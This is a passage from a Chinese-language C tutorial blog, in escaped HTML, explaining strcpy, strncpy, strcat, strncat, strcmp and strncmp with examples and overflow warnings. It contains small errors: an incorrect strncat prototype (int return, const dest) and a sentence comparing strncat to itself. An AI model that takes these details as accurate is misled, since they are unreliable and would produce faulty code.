{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e str[\u003cspan class=\"number\"\u003e25\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(str, \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, str);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,关键的一行是\u003ccode\u003ewhile (*dest++ = *source++)\u003c/code\u003e,这是一个循环,依次将\u003ccode\u003esource\u003c/code\u003e的每个字符赋值给\u003ccode\u003edest\u003c/code\u003e,然后移向下一个位置,直到遇到\u003ccode\u003e\\0\u003c/code\u003e,循环判断条件不再为真,从而跳出循环。其中,\u003ccode\u003e*dest++\u003c/code\u003e这个表达式等同于\u003ccode\u003e*(dest++)\u003c/code\u003e,即先返回\u003ccode\u003edest\u003c/code\u003e这个地址,再进行自增运算移向下一个位置,而\u003ccode\u003e*dest\u003c/code\u003e可以对当前位置赋值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrcpy()\u003c/code\u003e函数有安全风险,因为它并不检查目标字符串的长度,是否足够容纳源字符串的副本,可能导致写入溢出。如果不能保证不会发生溢出,建议使用\u003ccode\u003estrncpy()\u003c/code\u003e函数代替。\u003c/p\u003e\u003ch3 id=\"strncpy\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strncpy\" class=\"headerlink\" title=\"strncpy()\"\u003e\u003c/a\u003estrncpy()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003estrncpy()\u003c/code\u003e跟\u003ccode\u003estrcpy()\u003c/code\u003e的用法完全一样,只是多了第3个参数,用来指定复制的最大字符数,防止溢出目标字符串变量的边界。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003estrncpy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *dest, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *src, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面原型中,第三个参数\u003ccode\u003en\u003c/code\u003e定义了复制的最大字符数。如果达到最大字符数以后,源字符串仍然没有复制完,就会停止复制,这时目的字符串结尾将没有终止符\u003ccode\u003e\\0\u003c/code\u003e,这一点务必注意。如果源字符串的字符数小于\u003ccode\u003en\u003c/code\u003e,则\u003ccode\u003estrncpy()\u003c/code\u003e的行为与\u003ccode\u003estrcpy()\u003c/code\u003e完全一致。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrncpy\u003c/span\u003e(str1, str2, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(str1) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estr1[\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(str1) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符串\u003ccode\u003estr2\u003c/code\u003e复制给\u003ccode\u003estr1\u003c/code\u003e,但是复制长度最多为\u003ccode\u003estr1\u003c/code\u003e的长度减去1,\u003ccode\u003estr1\u003c/code\u003e剩下的最后一位用于写入字符串的结尾标志\u003ccode\u003e\\0\u003c/code\u003e。这是因为\u003ccode\u003estrncpy()\u003c/code\u003e不会自己添加\u003ccode\u003e\\0\u003c/code\u003e,如果复制的字符串片段不包含结尾标志,就需要手动添加。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrncpy()\u003c/code\u003e也可以用来拷贝部分字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s1[\u003cspan class=\"number\"\u003e40\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s2[\u003cspan class=\"number\"\u003e12\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrncpy\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es1[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s1); \u003cspan class=\"comment\"\u003e// hello\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,指定只拷贝前5个字符。\u003c/p\u003e\u003ch3 id=\"strcat\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strcat\" class=\"headerlink\" title=\"strcat()\"\u003e\u003c/a\u003estrcat()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003estrcat()\u003c/code\u003e函数用于连接字符串。它接受两个字符串作为参数,把第二个字符串的副本添加到第一个字符串的末尾。这个函数会改变第一个字符串,但是第二个字符串不变。\u003c/p\u003e\u003cp\u003e该函数的原型定义在\u003ccode\u003estring.h\u003c/code\u003e头文件里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003estrcat\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estrcat()\u003c/code\u003e的返回值是一个字符串指针,指向第一个参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s1[\u003cspan class=\"number\"\u003e12\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s2[\u003cspan class=\"number\"\u003e6\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcat\u003c/span\u003e(s1, s2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(s1); \u003cspan class=\"comment\"\u003e// \u0026#34;helloworld\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,调用\u003ccode\u003estrcat()\u003c/code\u003e以后,可以看到字符串\u003ccode\u003es1\u003c/code\u003e的值变了。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003estrcat()\u003c/code\u003e的第一个参数的长度,必须足以容纳添加第二个参数字符串。否则,拼接后的字符串会溢出第一个字符串的边界,写入相邻的内存单元,这是很危险的,建议使用下面的\u003ccode\u003estrncat()\u003c/code\u003e代替。\u003c/p\u003e\u003ch3 id=\"strncat\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strncat\" class=\"headerlink\" title=\"strncat()\"\u003e\u003c/a\u003estrncat()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003estrncat()\u003c/code\u003e用于连接两个字符串,用法与\u003ccode\u003estrncat()\u003c/code\u003e完全一致,只是增加了第三个参数,指定最大添加的字符数。在添加过程中,一旦达到指定的字符数,或者在源字符串中遇到空字符\u003ccode\u003e\\0\u003c/code\u003e,就不再添加了。它的原型定义在\u003ccode\u003estring.h\u003c/code\u003e头文件里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrncat\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* dest,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* src,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estrncat()\u003c/code\u003e返回第一个参数,即目标字符串指针。\u003c/p\u003e\u003cp\u003e为了保证连接后的字符串,不超过目标字符串的长度,\u003ccode\u003estrncat()\u003c/code\u003e通常会写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrncat\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e str1, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e str2, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(str1) - \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(str1) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estrncat()\u003c/code\u003e总是会在拼接结果的结尾,自动添加空字符\u003ccode\u003e\\0\u003c/code\u003e,所以第三个参数的最大值,应该是\u003ccode\u003estr1\u003c/code\u003e的变量长度减去\u003ccode\u003estr1\u003c/code\u003e的字符串长度,再减去\u003ccode\u003e1\u003c/code\u003e。下面是一个用法实例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s1[\u003cspan class=\"number\"\u003e10\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Monday\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s2[\u003cspan class=\"number\"\u003e8\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Tuesday\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrncat\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(s1); \u003cspan class=\"comment\"\u003e// \u0026#34;MondayTue\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003es1\u003c/code\u003e的变量长度是10,字符长度是6,两者相减后再减去1,得到\u003ccode\u003e3\u003c/code\u003e,表明\u003ccode\u003es1\u003c/code\u003e最多可以再添加三个字符,所以得到的结果是\u003ccode\u003eMondayTue\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"strcmp\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strcmp\" class=\"headerlink\" title=\"strcmp()\"\u003e\u003c/a\u003estrcmp()\u003c/h3\u003e\u003cp\u003e如果要比较两个字符串,无法直接比较,只能一个个字符进行比较,C 语言提供了\u003ccode\u003estrcmp()\u003c/code\u003e函数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrcmp()\u003c/code\u003e函数用于比较两个字符串的内容。该函数的原型如下,定义在\u003ccode\u003estring.h\u003c/code\u003e头文件里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrcmp\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e按照字典顺序,如果两个字符串相同,返回值为\u003ccode\u003e0\u003c/code\u003e;如果\u003ccode\u003es1\u003c/code\u003e小于\u003ccode\u003es2\u003c/code\u003e,\u003ccode\u003estrcmp()\u003c/code\u003e返回值小于0;如果\u003ccode\u003es1\u003c/code\u003e大于\u003ccode\u003es2\u003c/code\u003e,返回值大于0。\u003c/p\u003e\u003cp\u003e下面是一个用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// s1 = Happy New Year\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// s2 = Happy New Year\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// s3 = Happy Holidays\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcmp\u003c/span\u003e(s1, s2) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcmp\u003c/span\u003e(s1, s3) \u003cspan class=\"comment\"\u003e// 大于 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcmp\u003c/span\u003e(s3, s1) \u003cspan class=\"comment\"\u003e// 小于 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003estrcmp()\u003c/code\u003e只用来比较字符串,不用来比较字符。因为字符就是小整数,直接用相等运算符(\u003ccode\u003e==\u003c/code\u003e)就能比较。所以,不要把字符类型(\u003ccode\u003echar\u003c/code\u003e)的值,放入\u003ccode\u003estrcmp()\u003c/code\u003e当作参数。\u003c/p\u003e\u003ch3 id=\"strncmp\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strncmp\" class=\"headerlink\" title=\"strncmp()\"\u003e\u003c/a\u003estrncmp()\u003c/h3\u003e\u003cp\u003e由于\u003ccode\u003estrcmp()\u003c/code\u003e比较的是整个字符串,C 语言又提供了\u003ccode\u003estrncmp()\u003c/code\u003e函数,只比较到指定的位置。\u003c/p\u003e\u003cp\u003e该函数增加了第三个参数,指定了比较的字符数。它的原型定义在\u003ccode\u003estring.h\u003c/code\u003e头文件里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrncmp\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的返回值与\u003ccode\u003estrcmp()\u003c/code\u003e一样。如果两个字符串相同,返回值为\u003ccode\u003e0\u003c/code\u003e;如果\u003ccode\u003es1\u003c/code\u003e小于\u003ccode\u003es2\u003c/code\u003e,\u003ccode\u003estrcmp()\u003c/code\u003e返回值小于0;如果\u003ccode\u003es1\u003c/code\u003e大于\u003ccode\u003es2\u003c/code\u003e,返回值大于0。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s1[\u003cspan class=\"number\"\u003e12\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s2[\u003cspan class=\"number\"\u003e12\u003c/span\u003e] = \u003cspan 